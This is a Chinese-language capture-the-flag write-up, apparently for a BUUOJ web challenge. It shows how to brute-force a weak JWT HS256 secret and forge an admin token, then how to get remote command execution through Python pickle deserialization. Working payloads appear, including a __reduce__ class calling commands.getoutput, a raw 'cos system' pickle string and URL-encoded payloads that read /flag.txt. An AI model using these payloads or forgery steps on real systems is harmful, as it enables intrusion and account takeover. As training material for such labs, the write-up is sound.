目录
JWT是什么?
JWT安全问题
Pickle反序列化
Pickle库及函数
漏洞利用
参考文章
这道题前面几关还是挺简单的,主要重点是JWT安全和Pickle反序列化的问题,所以前面的关卡我就简单描述一下步骤
首先去注册一个账户
注册完账户后,我们就来到了第一关,刚开始本来想注册一个admin用户的,没想到已经被注册了,那么我猜接下来的内容会和admin有关了
这里有一个提示,开局给了我们1000块,让我们去购买lv6
当前链接是http://29e104e9-b299-4014-b700-cc0b3892187b.node4.buuoj.cn:81/shop?page=2,每点击一次下一页,page自动+1
编写一个爬取lv6的脚本,如果lv6.png不在当前页面,i自增,返回NO,反之返回YES
import requests
from fake_useragent import UserAgent
ua = UserAgent()
i = 0
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Connection': 'close',
"User-Agent": UserAgent().random,# 随机ua
'Cookie': 'UM_distinctid=17ee7752bb13ba-0cb9cd9a264a528-4c3e237c-e1000-17ee7752bb2239; _xsrf=2|db9c0ccc|803cbad2c2d21187a3a205d0c28e1b8d|1652270533; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMSJ9.kFKLac89rUM6C1Rk2FHRmwWFsd0DFfwxuqM1rdaeRNU; commodity_id="2|1:0|10:1652270783|12:commodity_id|8:MTYyNA==|83adc268ca281d92bdfae274614f8403d5c4a83baf13779cc3db43fe13c70705"'
}
def ganyu():
global i
try:
url = 'http://29e104e9-b299-4014-b700-cc0b3892187b.node4.buuoj.cn:81/shop?page=' + str(i)
print(url)
res = requests.get(url=url, headers=headers)
if 'lv6.png' in res.text: # 如果lv6.png在请求过后的res页面的话则退出程序,如果不在则自增
print('YES' + ' ' + f'{i}')
quit()
else:
print('NO' + ' ' + f'{i}')
i += 1
ganyu()
except IndexError: # 做个异常防报错
pass
ganyu()
成功爬取到在181页内存在lv6
访问
点击购买后,显示
卖不起不要害怕,直接干它,俗话说既然解决不了问题,那么就解决提出问题的人
进入开发者调试模式,更改value的值,这里我用burpsuite修改了好几次,但是都失败
再次点击购买后,跳转到’该页面只允许admin访问’,这波属实是他预判了我的预判了
在早期互联网时代只是用来访问查看,却并不关心是谁在访问查看,由于HTTP是一种简单的请求响应协议,而HTTP协议是不保存用户状态的,被请求的服务器无法确定访问者们各自的身份信息,为了将用户标识起来,于是就产生了cookie,通俗易懂的说cookie就是区分每一栋楼每一住户的用户凭证
但是cookie又引申出安全性的问题,很多网站用cookie来区分用户,那么cookie里存储了session id,通过session id进一步的获取用户信息,不过cookie保存在本地,数据非常容易被伪造,尤其是用户的cookie一旦被攻击,如跨站脚本攻击,跨站请求伪造等,攻击者是可以利用窃取的凭证模拟用户操作网站的
为了解决cookie的安全性问题,出现了session技术,用户第一次请求服务器时,服务端会生成一个session_id,服务端将生成的session_id返回给客户端,客户端收到session_id会将它保存在cookie中,当客户端再次访问服务端时会带上这个session_id,那么当服务端再次接收到来自客户端的请求时,会先去检查是否存在session_id,如果不存在说明是第一次请求,则就新建一个
由于session的存储是需要空间的,一旦访问量巨大,服务器会大大影响服务器性能,那么token的出现解决了session的弊端,token我们称之为令牌,一般通过md5、sha等加密算法加时间戳等元素组合而成
首先,客户端输入用户名和密码请求登录,服务端收到请求后验证用户名和密码。验证成功后,服务端会签发一个token给客户端,但是这个token服务端并不负责保存,当客户端再次携带这个令牌请求时,服务端只需用相同的算法和相同的密钥进行计算,与这个客户端的令牌进行对比,如果相同,就向客户端返回请求数据
这种基于token的认证方式相比session认证方式减轻服务端的压力,由于跨域的原因,对分布式更加友好,而JWT (https://jwt.io/) 就是上述流程当中token的一种具体实现方式
JWT全称是JSON Web Token,一般由三段信息构成的,将这三段信息用'.'链接一起就构成了JWT字符串,举个如下例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMSJ9.kFKLac89rUM6C1Rk2FHRmwWFsd0DFfwxuqM1rdaeRNU
1)将这三段信息拆分开,第一部分称为头部(header),由base64编码而成
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
2)后端核对用户名和密码成功后,将用户信息数据作为JWT的Payload,也就是第二部分
eyJ1c2VybmFtZSI6ImFkbWluMSJ9
3)JWT的第三部分是一个签证信息,由三部分组成,base64UrlEncode(header) + "." + base64UrlEncode(payload) , your-256-bit-secret,通过你签名所使用的密钥,再通过HMACSHA256方式就组成了第三部分
比如我的密钥是ganyu,那么完整的JWT就是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMSJ9.7ttAIdsyXHq3wReZ-_Ot1ECVMXoTje8cho2vSMI0wJs
那么JWT真的让我们高枕无忧了吗?其实不是的
JWT使用算法对header + payload + 密钥进行加密,如果我们可以爆破出加密密钥,能不能随意修改token呢?
如下,我现在有一串JWT,如下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMSJ9.kFKLac89rUM6C1Rk2FHRmwWFsd0DFfwxuqM1rdaeRNU
头部为:
{
"alg": "HS256",
"typ": "JWT"
}
payload为:
{
"username": "admin1"
}
如果服务器只是对payload内的username进行验证,我们爆破出了需要的密钥,更改payload内的admin1为admin,再次进行签名,能不能伪造呢?【说一下这里为什么会更改成admin而不是其他,回想一下在刚才那个页面是不是提示我们,这个页面只允许admin访问?】
JWT暴力破解工具使用
下载地址:[mirrors / brendan-rius / c-jwt-cracker · GitCode]
apt-get install libssl-dev
git clone https://gitcode.net/mirrors/brendan-rius/c-jwt-cracker.git
使用该脚本之前需要先make一下,make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMSJ9.kFKLac89rUM6C1Rk2FHRmwWFsd0DFfwxuqM1rdaeRNU
密钥被成功爆破出来,为1Kun,再次按照刚才的思路反推导
修改username->使用爆破的密钥->再次进行签名
得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
将原本的JWT
替换为伪造的JWT
即可进入下一关 ,也就是最后一关
先说这关的解题方法,首先你成功通过JWT伪造进入admin访问界面,然后你右击查看源码,会发现这样的一个备份文件
你把它dang下来,这个备份文件内包含这个网站的源码
你回想一下,在最最最最开始做这道题的时候,也就是这道题的初始界面,你按f12查看源码会发现这样一个奇怪的提示,hint???
那么这个暗示到现在为止还没用到(很快就要用到了),它到底在哪里呢?
当你将源码dang下来后,在setting.py这个脚本内会发现了这个hint暗示
我们编写脚本运行
unicode = b'\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc'
re = unicode.decode("unicode_escape")
print(re)
提示我们留了一个后门,而且在lv6内,也就是如下页面
我们跟进到这个页面内的源码
这里做了一个异常处理,如果反序列化成功,则返回self.render('form.html', res=p, member=1),这段代码的意思就是找到模板文件,进行渲染,从而显示页面,否则返回This is Black Technology!
我们看一下现在的页面是什么情况
很显然,返回的是This is Black Technology!这不是我们想要的,我们要的是flag(这好像是废话),刚才代码里面提到了form.html这个页面,我们继续跟进到form.html
那么问题来了,如何让它正确执行self.render('form.html', res=p, member=1)呢?首先,admin.py这里做了异常处理,那么肯定是因为代码报错了,进而执行了self.render('form.html', res='This is Black Technology!', member=0)这串代码,
那为什么没有正确执行呢?继续往上看一行代码
p = pickle.loads(urllib.unquote(become)),这个become按道理来说应该是序列化后的内容再进行反序列化,我猜测是因为序列化报错了结果跳转错误,我们看一下这个become现在是什么?
become对应了admin,但是admin并不是任何序列化后的结果,所以返回了This is Black Technology!
至此,我们只需要将become控制成我们想要的,能不能行?
Pickle是Python内的一个标准模块,实现了基本的数据序列化和反序列化
序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程,那么为什么要实现序列化和反序列化呢?是闲着没事干吗?其实不是的,目的也是为了保存、传递和恢复对象的方便性
函数 | 作用 |
---|---|
dumps | 将obj对象序列化并返回一个bytes对象 |
loads | 将bytes反序列化并返回一个对象 |
例如:
import pickle
class Role(object):
def __init__(self, name): # __init__用于在创建对象时进行初始化操作
self.name = name # 通过这个方法使角色(Role)绑定name
if __name__ == '__main__':
rce = Role('ganyu') # 实例化Role类
print(rce) # <__main__.Role object at 0x7f9ef2c55910>
Dumps = pickle.dumps(rce) # dumps执行序列化
print(Dumps)
Loads = pickle.loads(Dumps) # Loads执行反序列化
print(Loads)
以上代码内分别演示了实例化类,序列化类和反序列化
在这序列化类中,我们先看一下我们认识的,可以清楚地看到对象的属性name ganyu,该对象所属的类Role都已存储,那么其他这些乱七八糟的序列化的字符串是什么意思,又按照什么规则生成的呢?
PVM(Pickle Virtual Machine)
如果想要搞懂不得从底层开始学习,因为Pickle解析依靠Pickle Virtual Machine (PVM)进行,也是实现 Python 序列化和反序列化的最根本的东西
PVM的执行流程
当程序运行时,Python内部会将源代码(.py文件中的程序)编译成所谓的字节码的形式,这些字节码可以提高执行速度,比起源代码语句字节码要执行快的多
程序被编译成字节码之后,就会被加载到PVM,迭代运行(类似for循环)字节码指令,然后操作系统会去执行这些命令
PVM 由三个部分组成
指令分析器:从数据流中读取操作码和参数 ,并对其进行解释处理。重复这个动作,直到遇到 .
停止。最终留在栈顶的值将被作为反序列化对象返回
栈区(stack):由Python的list实现,被用来临时存储数据、参数以及对象,可理解为计算机的内存
标签区(memo ):由 python 的 dict 实现,将反序列化完成的数据以 key-value
的形式储存在memo中,可理解为计算机的硬盘存储
几个比较重要的操作码:
c : 获取一个全局对象或import一个模块
( : 向栈中压入一个MARK标记,用于确定命令执行的位置。该标记常常搭配t指令一起使用以便产生一个元组
S : 后面跟字符串对象,PVM会读取引号中的内容,直到遇见换行符,然后将读取到的内容压入到栈中
I : 后面跟int对象
t : 从栈中不断弹出数据, 弹射顺序与压栈时相同,直到弹出左括号。此时弹出的内容形成了一个元组,然后该元组会被压入栈中
R : 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
p : 将栈顶对象储存至memo_n
s : 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中
. : 程序结束,栈顶的一个元素作为pickle.loads()的返回值
以刚才的例子进行分析
ccopy_reg # copy_reg模块
_reconstructor # copy_reg模块中_reconstructor()函数,恢复新型类的实例
p0 # 将栈顶对象储存至memo_n,编号为0
(c__main__ # 先向栈中压入一个MARK标记,获取__main__对象
Role # Role类
p1 # 将栈顶对象储存至memo_n,编号为1
c__builtin__ # 先向栈中压入一个MARK标记,获取__builtin__对象
object # 引入object对象
p2 # 将栈顶对象储存至memo_n,编号为2
Ntp3 # 依次从栈中弹出数据,直到"("为止,此时弹出的数据组成一个元组,最后将该元组压入栈中
Rp4 # 选择栈上的第一个对象作为函数、第二个对象作为参数(必须为元组),全部弹出并执行,然后调用该函数,将结果储存至memo_n
(dp5 # 向栈中压入一个MARK标记,寻找栈中的上一个MARK,将memo_n中的内容转换成键值对存储至字典,然后字典存储至memo_n
S'name' # 在栈顶穿件一个字符串,内容为'name'
p6 # 将栈顶对象储存至memo_n,编号为6
S'ganyu' # 在栈顶穿件一个字符串,内容为'ganyu'
p7 # 将栈顶对象储存至memo_n,编号为6
sb. # 将'name':'ganyu'作为键值对添加到字典中,作为栈的第三个对象,b调用__setstate__或者__dict__.upload()更新字典内容,最后读取到'.'结束
举个简单的例子(以R方式)
cos
system
(S'ls /'
tR.
我们将上面的序列化字符串在python2下反序列化,也就相当于执行了os.system('ls /')
import pickle
s ="cos\nsystem\n(S'ls /'\ntR."
pickle.loads(s)
继续回到这题
我们能不能构造一个通过pickle.dumps序列化的payload,从而被解析,利用form.html页面进行回显?
首先become是我们可以控制的点,传入become值后进行了一次unquote,所以传入的payload进行一次urllib.quote编码,再通过loads反序列化成功,使命令执行
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',)) # return无返回值,使用commands.getoutput(cmd) -> string只返回执行的结果, 忽略返回值
a = payload()
print(urllib.quote(pickle.dumps(a)))
# ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
became = ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
更改payload
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',)) # return无返回值,使用commands.getoutput(cmd) -> string只返回执行的结果, 忽略返回值
a = payload()
print(urllib.quote(pickle.dumps(a)))
# ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
became = ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
重新传值给become,拿到flag
https://blog.csdn.net/hgdl_sanren/article/details/106242346
https://xz.aliyun.com/t/7436#toc-5
https://blog.csdn.net/qq_43431158/article/details/108919605
https://my.oschina.net/u/4308451/blog/3309373
https://blog.csdn.net/qq_41308489/article/details/111701629
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://blog.csdn.net/weixin_45070175/article/details/118559272